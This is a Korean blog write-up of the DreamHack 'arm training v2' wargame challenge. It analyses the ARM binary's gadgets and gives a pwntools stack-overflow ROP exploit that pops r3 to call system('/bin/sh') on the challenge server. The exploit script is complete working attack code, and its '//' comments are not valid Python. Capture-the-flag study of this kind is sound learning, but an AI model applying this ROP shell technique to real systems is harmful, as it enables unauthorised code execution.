본문 바로가기

Hacking/DreamHack

arm traning v2

1 바이너리 분석

1) main 함수

v1 과 동일하며, code영역의 가젯 주소 필요

2) gadget 1  함수

==> system(id)를 실행

 

3) gadget 2 함수

 - r11(FP) 을 sp + 4로 설정하여 프레임 포인터 초기화

 - ldr(load register) 특정 메모리주소로 부터 데이터를 로드하여 레지스터에 저장

   => DAT_000105cc 의 주소 값 r3 에 저장

   => r3의 offset 0x0 만큼의 주소값을 r3의 값으로 저장

 - r3의 값을 r0 에 저장

 - puts(r0) r0 주소의 값 /bin/sh 을 출력

 

2. 공격 시나리오

- 0x18 바이트 만큼 더미 값 입력

- 리턴주소에 pop {r3, pc} 의 주소를 덮어 r3 값 조작

   > ROP Chain 

      >> code 영역의 가젯들을 조합하여 system("bin/sh") 실행 목적

      >> 우선 r0  레지서터를 pop 하여 system() 함수 호출부로 이동할수 있음 그러나 결과 다음과 같음

$ ROPgadget --binary ./arm_training-v2 | grep ": pop {r0"

      >> 다른 방법  생각 r0에 대압하는 r3 값 조작

- system() 함수 호출 시 bin/sh 문자열로 호출 

 

3. 익스플로잇 코드

from pwn import *


p = remote('host3.dreamhack.games', 23099)

pop_r3_pc = 0x103c0
//pop r3 address
system = 0x10598
//system 호출 address
binsh = 0x106a4
//bin/sh 문자열 저장 address

payload = b'A'*0x18
// 0x18바이트 채우고
payload += p32(pop_r3_pc)
//r3 호출 시
payload += p32(binsh)
// r3에 /bin/sh 문자열로
payload += p32(system)
// system 함수 호출

p.send(payload)

p.interactive()

'Hacking > DreamHack' 카테고리의 다른 글

Stupid GCC  (0) 2024.05.22
textbook-des__crypto  (1) 2024.05.07
arm training v1 (pwn)  (0) 2024.05.07
no mov  (1) 2024.04.24
uaf_overwrite  (1) 2024.04.09